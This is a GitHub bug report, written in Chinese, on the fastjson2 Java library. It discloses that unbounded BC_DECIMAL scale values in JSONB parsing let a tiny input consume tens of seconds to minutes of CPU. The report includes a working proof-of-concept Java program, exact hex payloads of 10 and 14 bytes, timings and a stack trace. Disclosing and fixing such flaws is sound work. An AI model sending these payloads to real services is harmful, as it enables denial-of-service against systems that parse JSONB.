[BUG] JSONB 解析未对 BC_DECIMAL 的 scale 设上界,小输入可触发数十秒级 CPU 计算
- Dominant language
- Java
- Stars
- 4.4k
- Forks
- 613
- Avg merge
- 1d 22h
- Merged PRs (30d)
- 6
Description
问题描述
以下基于 fastjson2 2.0.65 复验(2.0.56 首测,两版源码在涉及位点同形;2.0.65 即当前 master)。
JSONB 二进制格式中 BC_DECIMAL 记录的 scale 是线上原样读取的 32-bit int。JSONReaderJSONB 的多处解析分支把它直接送进 new BigDecimal(unscaled, scale) 及其后的换算(toBigInteger、longValue、intValue、toString 等),既不对 scale 的绝对值设上界,也不与输入剩余长度对照。当 |scale| 很大时,这些换算需要构造 10^|scale| 的 BigInteger(JDK BigInteger.pow,Karatsuba/Toom-Cook 乘法路径),很小的输入就能触发长时间单核计算。
实测(OpenJDK 21,Linux x86_64):10 字节 JSONB 输入、scale 为 -67,000,000 时,一次 JSONB.parse 约 35 秒单核计算(2.0.65 实测 35.3 s;2.0.56 实测 33 秒级)。scale 为正时走除法支,同样要构造 10^scale(+2^24 实测 3.10 s)。放大上界来自 JDK BigInteger 的量程守卫:scale 为 -2^30 时抛 ArithmeticException,-2^29 实测 413 s 完成。也就是说在该 JDK 内,单次解析的 CPU 成本最高可到分钟级。
同型位点(2.0.65 源码 JSONReaderJSONB.java,共 10 处):readAny、skipValue、readStringTypeNotMatch、readInt64Value0、readInt32Value0、readFloat0、readDoubleValue0、readNumber、readBigDecimal、readBigInteger0。全部是 readInt32Value() 裸读 scale 后直接构造或换算,无一处校验。其中 readInt32Value0 / readInt64Value0 会把嵌套 decimal 截断成 int 再充当外层 scale(如嵌套的 BigDecimal(-67, 1) 即 -6.7 截断为 -6 后,作为 scale 与 -67 组成 -67,000,000,再充当外层 scale),不需要直接编码大整数就能得到全 32-bit 的 scale。
环境信息
OS 信息:Ubuntu 24.04,Linux x86_64
JDK 信息:OpenJDK 21.0.12
版本信息:fastjson2 2.0.65(复验)与 2.0.56(首测),涉及位点两版同形
重现步骤
只需 fastjson2 单 jar,无其他依赖。下面的最小构造器从第一性原理合成 10 字节 JSONB body:
b9 00 b9 48 <4 字节大端 scale> bd 01
顶层是 BC_DECIMAL(scale 为 0),其 unscaled 值本身又是一个 BC_DECIMAL,后者的 scale 字段是原始 BC_INT32 32-bit 整数,因此 scale 可为任意 int 值。
```java
import com.alibaba.fastjson2.JSONB;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.HexFormat;
public class N2Construct {
public static void main(String[] args) throws Exception {
int scale = args.length > 0 ? Integer.parseInt(args[0]) : -67_000_000;
byte[] body = new byte[]{
(byte) 0xb9, 0x00, (byte) 0xb9, 0x48,
(byte) (scale >>> 24), (byte) (scale >>> 16), (byte) (scale >>> 8), (byte) scale,
(byte) 0xbd, 0x01
};
System.out.printf("synthesized body (%d bytes, scale1=%d): %s%n",
body.length, scale, HexFormat.of().formatHex(body));
long t0 = System.nanoTime();
Object o = JSONB.parse(body);
double wall = (System.nanoTime() - t0) / 1e9;
if (o instanceof BigDecimal) {
BigDecimal d = (BigDecimal) o;
System.out.printf("result: BigDecimal scale=%d unscaledBits=%d signum=%d%n",
d.scale(), d.unscaledValue().bitLength(), d.signum());
} else {
System.out.println("result: " + o.getClass().getName());
}
System.out.printf("parse wall = %.3f s%n", wall);
}
}
```
```
javac -cp fastjson2-2.0.65.jar N2Construct.java
java -cp .:fastjson2-2.0.65.jar N2Construct -67000000
```
每点 fresh JVM,2.0.65 实测:
scale -10 / +10:0.13 s(JVM 启动占主要,解析本身亚毫秒)
scale -2^20:0.29 s
scale -2^24:3.28 s
scale +2^24:3.10 s(除法支,同样进入 10^scale 构造)
scale -67,000,000:35.3 s
scale -2^30:快速抛 ArithmeticException
2.0.56 在同机实测的更长曲线与之一致:-2^26 为 19.1 s,-2^28 为 143.7 s,-2^29 为 413.0 s。增长被 Karatsuba/Toom-Cook 夹持,局部指数从约 0.6 升到 1.5。
期待的正确结果
解析器在读取 BC_DECIMAL 的 scale 时做上界校验(例如与输入剩余长度对照,或对 scale 绝对值设上限),超界时抛 JSONException,不进入 10^|scale| 的构造计算,使单次解析的 CPU 成本与输入规模保持合理比例。
相关日志输出
2.0.65 构造器默认点的输出:
```
synthesized body (10 bytes, scale1=-67000000): b900b948fc01a940bd01
result: BigDecimal scale=0 unscaledBits=222569183 signum=1
parse wall = 35.308 s
```
scale 为 -2^30 时的异常(同一换算链,从 readBigInteger0 读到的 scale 直接进入 BigDecimal 换算):
```
Exception in thread "main" java.lang.ArithmeticException: BigInteger would overflow supported range
at java.base/java.math.BigInteger.reportOverflow(BigInteger.java:1184)
at java.base/java.math.BigInteger.pow(BigInteger.java:2633)
at java.base/java.math.BigDecimal.bigTenToThe(BigDecimal.java:4375)
at java.base/java.math.BigDecimal.bigMultiplyPowerTen(BigDecimal.java:4510)
at java.base/java.math.BigDecimal.setScale(BigDecimal.java:2936)
at java.base/java.math.BigDecimal.toBigInteger(BigDecimal.java:3551)
at com.alibaba.fastjson2.JSONReaderJSONB.readBigInteger0(JSONReaderJSONB.java:4448)
at com.alibaba.fastjson2.JSONReaderJSONB.readBigInteger(JSONReaderJSONB.java:4374)
at com.alibaba.fastjson2.JSONReaderJSONB.readAny(JSONReaderJSONB.java:682)
at com.alibaba.fastjson2.JSONReaderJSONB.readAnyObject(JSONReaderJSONB.java:1248)
at com.alibaba.fastjson2.JSONB.parse(JSONB.java:447)
at N2Construct.main(N2Construct.java:36)
```
附加信息
机制链:readBigInteger0 读到 BC_DECIMAL 后 new BigDecimal(unscaled, scale),再 toBigInteger() 经 setScale(0)、bigMultiplyPowerTen(|scale|)、bigTenToThe 到 BigInteger.pow 构造 10^|scale|。
skipValue 的 case BC_DECIMAL 目前直接调用 readInt32Value() 加 readBigInteger()(源码此处有 TODO skip big decimal 注释),同样进入这条路径。readStringTypeNotMatch 走 decimal.toString(),位数展开同量级。
另有一个 14 字节变体 b92db9b9b9b1b900bdbdbdbdbdbd,其顶层 scale 经上面提到的嵌套截断路径得到,实测 36.2 s,量级相同。
Contributor guide
Assessment
This issue has not been assessed yet.